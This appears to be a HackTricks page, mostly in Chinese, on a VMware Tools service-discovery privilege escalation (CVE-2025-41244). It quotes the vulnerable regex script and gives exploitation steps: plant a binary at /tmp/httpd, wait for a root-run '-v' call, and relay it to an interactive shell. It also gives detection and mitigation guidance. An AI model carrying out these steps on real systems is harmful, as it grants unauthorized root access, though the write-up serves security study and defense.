VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

该技术滥用基于 regex 的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用“version”标志执行候选二进制文件。当宽松的模式接受不受信任、攻击者可控的路径(例如 /tmp/httpd)时,具有特权的 collector 会从不受信任的位置执行任意二进制文件,导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中将此问题记录为 CVE-2025-41244。

  • 影响:本地权限提升至 root(或提升到具有特权的 discovery 账户)
  • 根本原因:Untrusted Search Path (CWE-426) + 对进程命令行的宽松 regex 匹配
  • 受影响:open-vm-tools/VMware Tools 在 Linux 上(credential-less discovery),VMware Aria Operations SDMP(通过 Tools/proxy 的 credential-based discovery)

How VMware service discovery works (high level)

  • Credential-based (legacy):Aria 使用配置的特权凭证通过 VMware Tools 在 guest 内执行 discovery 脚本。
  • Credential-less (modern):Discovery 逻辑运行在 VMware Tools 中,已在 guest 中具有特权。

两种模式最终都会运行 shell 逻辑:扫描具有监听 sockets 的进程,通过 regex 提取匹配的命令路径,并以 version flag 执行第一个 argv token。

Root cause and vulnerable pattern (open-vm-tools)

在 open-vm-tools 中,serviceDiscovery 插件脚本 get-versions.sh 使用宽泛的正则表达式匹配候选二进制文件,并在没有任何受信任路径验证的情况下执行第一个 token:

bash
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}

它以包含 \S(非空白)的宽松模式调用,这会轻易匹配用户可写位置中的非系统路径:

bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
  • Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}
  • 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的被发现的 listener 都会以 -v/--version 被执行

This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.

利用(无凭证与有凭证模式)

前提条件

  • 你可以在 guest 上运行一个非特权进程并打开一个监听套接字。
  • discovery job 已启用并周期性运行(历史上约为 ~5 分钟)。

步骤

  1. 将二进制文件放置在匹配其中一个宽松正则表达式的路径中,例如 /tmp/httpd 或 ./nginx
  2. 以低权限用户运行它并确保它打开任意监听套接字
  3. 等待发现周期;特权 collector 会自动执行:/tmp/httpd -v(或类似),以 root 身份运行你的程序

Minimal demo (using NVISO’s approach)

bash
# Build any small helper that:
#  - default mode: opens a dummy TCP listener
#  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd          # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action

典型进程谱系

  • Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
  • Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i

工件 (credential-based) 位于 /tmp/VMware-SDMP-Scripts-{UUID}/ 下恢复的 SDMP 包装脚本可能会显示对恶意路径的直接执行:

bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"

技术泛化: regex-driven discovery abuse (portable pattern)

许多 agent 和监控套件通过以下方式实现版本/服务发现:

  • 枚举具有监听套接字的进程
  • Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
  • 执行匹配到的路径并带上无害的标志,例如 -v, --version, -V, -h

如果 regex 接受不受信任的路径并且该路径是在有特权的上下文中被执行,就会导致 CWE-426 Untrusted Search Path execution。

滥用流程

  • 将你的二进制命名为那些 regex 很可能匹配的常见守护进程名称:httpd, nginx, mysqld, dataserver
  • 将其放在可写目录中:/tmp/httpd, ./nginx
  • 确保它匹配 regex 并打开任意端口以便被枚举
  • 等待计划的收集器;你将获得对 -v 的自动特权调用

伪装说明:这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用于提高匹配概率和隐蔽性。

可重用的特权 I/O 中继技巧

  • 构建你的辅助程序,使得在特权调用(-v/--version)时它连接到已知的 rendezvous(例如,像 @cve 这样的 Linux 抽象 UNIX socket)并将 stdio 桥接到 /bin/sh -i。这样可以避免在磁盘上的痕迹,并且在许多环境中有效,尤其是当同一二进制以标志重新被调用时。

检测与 DFIR 指南

Hunting queries

  • vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd, ./nginx, /tmp/mysqld
  • 任何由发现脚本执行的非系统绝对路径(在 ${COMMAND%%...} 展开中查找空格)
  • 使用 ps -ef --forest 可视化祖先树:vmtoolsd -> get-versions.sh ->

On Aria SDMP (credential-based)

  • 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 是否存在临时脚本和 stdout/stderr 工件,显示攻击者路径的执行

Policy/telemetry

  • 当特权收集器从非系统前缀执行时发出告警: ^/(tmp|home|var/tmp|dev/shm)/
  • 对 get-versions.sh 和 VMware Tools 插件实施文件完整性监控

缓解措施

  • Patch:为 CVE-2025-41244(Tools 和 Aria Operations SDMP)应用 Broadcom/VMware 更新
  • 在可行的情况下禁用或限制无凭据的发现
  • 验证受信路径:将执行限制为允许的目录 (/usr/sbin, /usr/bin, /sbin, /bin) 并仅允许精确已知的二进制
  • 避免使用带有 \S 的宽松 regex;优先使用锚定的、明确的绝对路径和精确命令名
  • 在可能的情况下为发现 helper 降低权限;使用沙箱(seccomp/AppArmor)以减少影响
  • 监控并对 vmtoolsd/get-versions.sh 执行非系统路径时发出告警

给防御者和实现者的说明

Safer matching and execution pattern

bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v

# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks